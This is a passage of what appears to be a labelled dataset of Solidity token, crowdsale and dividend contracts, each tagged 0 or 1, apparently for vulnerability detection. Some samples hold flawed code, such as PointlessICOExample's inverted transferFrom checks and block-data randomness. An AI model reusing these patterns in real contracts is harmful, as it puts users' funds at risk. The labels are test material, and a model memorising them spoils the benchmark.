assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Circle is MintableToken {
string public name = "Circle Plus";
string public symbol = "Circle";
uint8 public decimals = 18;
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract CircleCrowdsale is Ownable, MintedCrowdsale {
enum CrowdsaleStage {
AngelRound,
PreSaleRound,
OpenRound}
uint256 public totalSupplyMax = 2000000000 * (10 ** 18);
uint256 public angelRound = 200000000 * (10 ** 18);
uint256 public preSaleRound = 400000000 * (10 ** 18);
uint256 public openRound = 200000000 * (10 ** 18);
uint256 public teamFund = 400000000 * (10 ** 18);
uint256 public communityFund = 400000000 * (10 ** 18);
uint256 public marketingFund = 400000000 * (10 ** 18);
uint256 public totalTokenMintedAngel;
uint256 public totalTokenMintedPreSale;
uint256 public totalTokenMintedOpen;
uint256 public totalTeamFundMinted;
uint256 public totalCommunityFundMinted;
uint256 public totalMarketingFundMinted;
uint256 private _angelRate = 60000;
uint256 private _preSaleRate = 30000;
uint256 private _openRate = 20000;
TokenTimelock public angelTimeLock;
TokenVesting public teamTokenVesting;
uint256 public constant TEAM_VESTING_CLIFF = 6 * 30 days;
uint256 public constant TEAM_VESTING_DURATION = 2 years;
ERC20 _token = new Circle();
function CircleCrowdsale(uint256 _rate, address _wallet) public
Crowdsale(_rate, _wallet, _token)
{
}
function() external payable {
revert();
}
function buyTokens(address _beneficiary) public payable {
revert();
}
function investByLegalTender(address _beneficiary, uint256 _value, uint _stage) onlyOwner external returns (bool) {
uint256 _amount;
if (_stage == uint(CrowdsaleStage.PreSaleRound)) {
_amount = _preSaleRate * _value;
if (totalTokenMintedPreSale + _amount > preSaleRound) {
return false;
}
MintableToken(token).mint(_beneficiary, _amount);
totalTokenMintedPreSale += _amount;
} else if (_stage == uint(CrowdsaleStage.OpenRound)) {
_amount = _openRate * _value;
if (totalTokenMintedOpen + _amount > preSaleRound) {
return false;
}
MintableToken(token).mint(_beneficiary, _amount);
totalTokenMintedOpen += _amount;
} else {
return false;
}
return true;
}
function setAngelHolder(address _angelFundWallet) onlyOwner external {
if (angelRound - totalTokenMintedAngel > 0) {
angelTimeLock = new TokenTimelock(token, _angelFundWallet, uint64(now + 90 days));
MintableToken(token).mint(angelTimeLock, angelRound - totalTokenMintedAngel);
totalTokenMintedAngel = angelRound - totalTokenMintedAngel;
}
}
function setReservedHolder(address _teamFundWallet, address _communityFundWallet, address _marketingFundWallet) onlyOwner external {
if (teamFund - totalTeamFundMinted > 0) {
teamTokenVesting = new TokenVesting(_teamFundWallet, now, TEAM_VESTING_CLIFF, TEAM_VESTING_DURATION, true);
MintableToken(token).mint(teamTokenVesting, teamFund - totalTeamFundMinted);
totalTeamFundMinted = teamFund - totalTeamFundMinted;
}
if (communityFund - totalCommunityFundMinted > 0) {
MintableToken(token).mint(_communityFundWallet, communityFund - totalCommunityFundMinted);
totalCommunityFundMinted += communityFund - totalCommunityFundMinted;
}
if (marketingFund - totalMarketingFundMinted > 0) {
MintableToken(token).mint(_marketingFundWallet, marketingFund - totalMarketingFundMinted);
totalMarketingFundMinted += marketingFund - totalMarketingFundMinted;
}
}
} | 0 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract RewardToken is StandardToken, Ownable {
bool public payments = false;
mapping(address => uint256) public rewards;
uint public payment_time = 0;
uint public payment_amount = 0;
event Reward(address indexed to, uint256 value);
function payment() payable onlyOwner {
require(payments);
require(msg.value >= 0.01 * 1 ether);
payment_time = now;
payment_amount = this.balance;
}
function _reward(address _to) private returns (bool) {
require(payments);
require(rewards[_to] < payment_time);
if(balances[_to] > 0) {
uint amount = payment_amount.mul(balances[_to]).div( totalSupply);
require(_to.send(amount));
Reward(_to, amount);
}
rewards[_to] = payment_time;
return true;
}
function reward() returns (bool) {
return _reward(msg.sender);
}
function transfer(address _to, uint256 _value) returns (bool) {
if(payments) {
if(rewards[msg.sender] < payment_time) require(_reward(msg.sender));
if(rewards[_to] < payment_time) require(_reward(_to));
}
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
if(payments) {
if(rewards[_from] < payment_time) require(_reward(_from));
if(rewards[_to] < payment_time) require(_reward(_to));
}
return super.transferFrom(_from, _to, _value);
}
}
contract CottageToken is RewardToken {
using SafeMath for uint;
string public name = "Cottage Token";
string public symbol = "CTG";
uint256 public decimals = 18;
bool public mintingFinished = false;
bool public commandGetBonus = false;
uint public commandGetBonusTime = 1519884000;
event Mint(address indexed holder, uint256 tokenAmount);
event MintFinished();
event MintCommandBonus();
function _mint(address _to, uint256 _amount) onlyOwner private returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function mint(address _to, uint256 _amount) onlyOwner returns(bool) {
require(!mintingFinished);
return _mint(_to, _amount);
}
function finishMinting() onlyOwner returns(bool) {
mintingFinished = true;
payments = true;
MintFinished();
return true;
}
function commandMintBonus(address _to) onlyOwner {
require(mintingFinished && !commandGetBonus);
require(now > commandGetBonusTime);
commandGetBonus = true;
require(_mint(_to, totalSupply.mul(15).div(100)));
MintCommandBonus();
}
}
contract Crowdsale is Ownable {
using SafeMath for uint;
CottageToken public token;
address public beneficiary = 0xd358Bd183C8E85C56d84C1C43a785DfEE0236Ca2;
uint public collectedFunds = 0;
uint public hardCap = 230000 * 1000000000000000000;
uint public tokenETHAmount = 600;
uint public startPreICO = 1511762400;
uint public endPreICO = 1514354400;
uint public bonusPreICO = 200 ether;
uint public startICO = 1517464800;
uint public endICOp1 = 1518069600;
uint public endICOp2 = 1518674400;
uint public endICOp3 = 1519279200;
uint public endICO = 1519884000;
bool public crowdsaleFinished = false;
event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
function Crowdsale() {
token = new CottageToken();
}
function() payable {
doPurchase();
}
function doPurchase() payable {
require((now >= startPreICO && now < endPreICO) || (now >= startICO && now < endICO));
require(collectedFunds < hardCap);
require(msg.value > 0);
require(!crowdsaleFinished);
uint rest = 0;
uint tokensAmount = 0;
uint sum = msg.value;
if(sum > hardCap.sub(collectedFunds) ) {
sum = hardCap.sub(collectedFunds);
rest = msg.value - sum;
}
if(now >= startPreICO && now < endPreICO){
if(msg.value >= bonusPreICO){
tokensAmount = sum.mul(tokenETHAmount).mul(120).div(100);
} else {
tokensAmount = sum.mul(tokenETHAmount).mul(112).div(100);
}
}
if(now >= startICO && now < endICOp1){
tokensAmount = sum.mul(tokenETHAmount).mul(110).div(100);
} else if (now >= endICOp1 && now < endICOp2) {
tokensAmount = sum.mul(tokenETHAmount).mul(108).div(100);
} else if (now >= endICOp2 && now < endICOp3) {
tokensAmount = sum.mul(tokenETHAmount).mul(105).div(100);
} else if (now >= endICOp3 && now < endICO) {
tokensAmount = sum.mul(tokenETHAmount);
}
require(token.mint(msg.sender, tokensAmount));
beneficiary.transfer(sum);
msg.sender.transfer(rest);
collectedFunds = collectedFunds.add(sum);
NewContribution(msg.sender, tokensAmount, tokenETHAmount);
}
function withdraw() onlyOwner {
require(token.finishMinting());
require(beneficiary.send(this.balance));
token.transferOwnership(beneficiary);
crowdsaleFinished = true;
}
function mint(address _to, uint _value) onlyOwner {
_value = _value.mul(1000000000000000000);
require((now >= startPreICO && now < endPreICO) || (now >= startICO && now < endICO));
require(collectedFunds < hardCap);
require(_value > 0);
require(!crowdsaleFinished);
uint rest = 0;
uint tokensAmount = 0;
uint sum = _value;
if(sum > hardCap.sub(collectedFunds) ) {
sum = hardCap.sub(collectedFunds);
rest = _value - sum;
}
if(now >= startPreICO && now < endPreICO){
if(_value >= bonusPreICO){
tokensAmount = sum.mul(tokenETHAmount).mul(120).div(100);
} else {
tokensAmount = sum.mul(tokenETHAmount).mul(112).div(100);
}
}
if(now >= startICO && now < endICOp1){
tokensAmount = sum.mul(tokenETHAmount).mul(110).div(100);
} else if (now >= endICOp1 && now < endICOp2) {
tokensAmount = sum.mul(tokenETHAmount).mul(108).div(100);
} else if (now >= endICOp2 && now < endICOp3) {
tokensAmount = sum.mul(tokenETHAmount).mul(105).div(100);
} else if (now >= endICOp3 && now < endICO) {
tokensAmount = sum.mul(tokenETHAmount);
}
require(token.mint(_to, tokensAmount));
collectedFunds = collectedFunds.add(sum);
NewContribution(_to, tokensAmount, tokenETHAmount);
}
} | 0 |
pragma solidity ^0.4.23;
contract Token{
function transfer(address to, uint value) returns (bool);
}
contract Indorser {
function multisend(address _tokenAddr, address[] _to, uint256[] _value)
returns (bool _success) {
assert(_to.length == _value.length);
assert(_to.length <= 150);
for (uint8 i = 0; i < _to.length; i++) {
assert((Token(_tokenAddr).transfer(_to[i], _value[i])) == true);
}
return true;
}
} | 1 |
pragma solidity ^0.4.10;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract PointlessICOExample {
address owner = msg.sender;
bool public purchasingAllowed = false;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint256 public totalSupply = 0;
function name() constant returns (string) { return "Pointless ICO Example"; }
function symbol() constant returns (string) { return "PIE"; }
function decimals() constant returns (uint8) { return 18; }
function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (2 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (3 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function enablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = false;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != owner) { throw; }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() constant returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed);
}
function() payable {
if (!purchasingAllowed) { throw; }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
tokensIssued += totalContribution;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint8 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
} | 1 |
pragma solidity ^0.4.24;
interface HourglassInterface {
function() payable external;
function buy(address _playerAddress) payable external returns(uint256);
function sell(uint256 _amountOfTokens) external;
function reinvest() external;
function withdraw() external;
function exit() external;
function dividendsOf(address _playerAddress) external view returns(uint256);
function balanceOf(address _playerAddress) external view returns(uint256);
function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool);
function stakingRequirement() external view returns(uint256);
}
contract Divies {
using SafeMath for uint256;
using UintCompressor for uint256;
HourglassInterface constant P3Dcontract_ = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
uint256 public pusherTracker_ = 100;
mapping (address => Pusher) public pushers_;
struct Pusher
{
uint256 tracker;
uint256 time;
}
uint256 public rateLimiter_;
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
function balances()
public
view
returns(uint256)
{
return (address(this).balance);
}
function deposit()
external
payable
{
}
function() external payable {}
event onDistribute(
address pusher,
uint256 startingBalance,
uint256 masternodePayout,
uint256 finalBalance,
uint256 compressedData
);
function distribute(uint256 _percent)
public
isHuman()
{
require(_percent > 0 && _percent < 100, "please pick a percent between 1 and 99");
address _pusher = msg.sender;
uint256 _bal = address(this).balance;
uint256 _mnPayout;
uint256 _compressedData;
if (
pushers_[_pusher].tracker <= pusherTracker_.sub(100) &&
pushers_[_pusher].time.add(1 hours) < now
)
{
pushers_[_pusher].tracker = pusherTracker_;
pusherTracker_++;
if (P3Dcontract_.balanceOf(_pusher) >= P3Dcontract_.stakingRequirement())
_mnPayout = (_bal / 10) / 3;
uint256 _stop = (_bal.mul(100 - _percent)) / 100;
P3Dcontract_.buy.value(_bal)(_pusher);
P3Dcontract_.sell(P3Dcontract_.balanceOf(address(this)));
uint256 _tracker = P3Dcontract_.dividendsOf(address(this));
while (_tracker >= _stop)
{
P3Dcontract_.reinvest();
P3Dcontract_.sell(P3Dcontract_.balanceOf(address(this)));
_tracker = (_tracker.mul(81)) / 100;
}
P3Dcontract_.withdraw();
} else {
_compressedData = _compressedData.insert(1, 47, 47);
}
pushers_[_pusher].time = now;
_compressedData = _compressedData.insert(now, 0, 14);
_compressedData = _compressedData.insert(pushers_[_pusher].tracker, 15, 29);
_compressedData = _compressedData.insert(pusherTracker_, 30, 44);
_compressedData = _compressedData.insert(_percent, 45, 46);
emit onDistribute(_pusher, _bal, _mnPayout, address(this).balance, _compressedData);
}
}
library UintCompressor {
using SafeMath for *;
function insert(uint256 _var, uint256 _include, uint256 _start, uint256 _end)
internal
pure
returns(uint256)
{
require(_end < 77 && _start < 77, "start/end must be less than 77");
require(_end >= _start, "end must be >= start");
_end = exponent(_end).mul(10);
_start = exponent(_start);
require(_include < (_end / _start));
if (_include > 0)
_include = _include.mul(_start);
return((_var.sub((_var / _start).mul(_start))).add(_include).add((_var / _end).mul(_end)));
}
function extract(uint256 _input, uint256 _start, uint256 _end)
internal
pure
returns(uint256)
{
require(_end < 77 && _start < 77, "start/end must be less than 77");
require(_end >= _start, "end must be >= start");
_end = exponent(_end).mul(10);
_start = exponent(_start);
return((((_input / _start).mul(_start)).sub((_input / _end).mul(_end))) / _start);
}
function exponent(uint256 _position)
private
pure
returns(uint256)
{
return((10).pwr(_position));
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 |
pragma solidity ^0.4.24;
interface Factory_Interface {
function createToken(uint _supply, address _party, uint _start_date) external returns (address,address, uint);
function payToken(address _party, address _token_add) external;
function deployContract(uint _start_date) external payable returns (address);
function getBase() external view returns(address);
function getVariables() external view returns (address, uint, uint, address,uint);
function isWhitelisted(address _member) external view returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint a, uint b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
library DRCTLibrary{
using SafeMath for uint256;
struct Balance {
address owner;
uint amount;
}
struct TokenStorage{
address factory_contract;
uint total_supply;
mapping(address => Balance[]) swap_balances;
mapping(address => mapping(address => uint)) swap_balances_index;
mapping(address => address[]) user_swaps;
mapping(address => mapping(address => uint)) user_swaps_index;
mapping(address => uint) user_total_balances;
mapping(address => mapping(address => uint)) allowed;
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event CreateToken(address _from, uint _value);
function startToken(TokenStorage storage self,address _factory) public {
self.factory_contract = _factory;
}
function isWhitelisted(TokenStorage storage self,address _member) internal view returns(bool){
Factory_Interface _factory = Factory_Interface(self.factory_contract);
return _factory.isWhitelisted(_member);
}
function getFactoryAddress(TokenStorage storage self) external view returns(address){
return self.factory_contract;
}
function createToken(TokenStorage storage self,uint _supply, address _owner, address _swap) public{
require(msg.sender == self.factory_contract);
self.total_supply = self.total_supply.add(_supply);
self.user_total_balances[_owner] = self.user_total_balances[_owner].add(_supply);
if (self.user_swaps[_owner].length == 0)
self.user_swaps[_owner].push(address(0x0));
self.user_swaps_index[_owner][_swap] = self.user_swaps[_owner].length;
self.user_swaps[_owner].push(_swap);
self.swap_balances[_swap].push(Balance({
owner: 0,
amount: 0
}));
self.swap_balances_index[_swap][_owner] = 1;
self.swap_balances[_swap].push(Balance({
owner: _owner,
amount: _supply
}));
emit CreateToken(_owner,_supply);
}
function pay(TokenStorage storage self,address _party, address _swap) public{
require(msg.sender == self.factory_contract);
uint party_balance_index = self.swap_balances_index[_swap][_party];
require(party_balance_index > 0);
uint party_swap_balance = self.swap_balances[_swap][party_balance_index].amount;
self.user_total_balances[_party] = self.user_total_balances[_party].sub(party_swap_balance);
self.total_supply = self.total_supply.sub(party_swap_balance);
self.swap_balances[_swap][party_balance_index].amount = 0;
}
function balanceOf(TokenStorage storage self,address _owner) public constant returns (uint balance) {
return self.user_total_balances[_owner];
}
function totalSupply(TokenStorage storage self) public constant returns (uint _total_supply) {
return self.total_supply;
}
function removeFromSwapBalances(TokenStorage storage self,address _remove, address _swap) internal {
uint last_address_index = self.swap_balances[_swap].length.sub(1);
address last_address = self.swap_balances[_swap][last_address_index].owner;
if (last_address != _remove) {
uint remove_index = self.swap_balances_index[_swap][_remove];
self.swap_balances_index[_swap][last_address] = remove_index;
self.swap_balances[_swap][remove_index] = self.swap_balances[_swap][last_address_index];
}
delete self.swap_balances_index[_swap][_remove];
self.swap_balances[_swap].length = self.swap_balances[_swap].length.sub(1);
}
function transferHelper(TokenStorage storage self,address _from, address _to, uint _amount) internal {
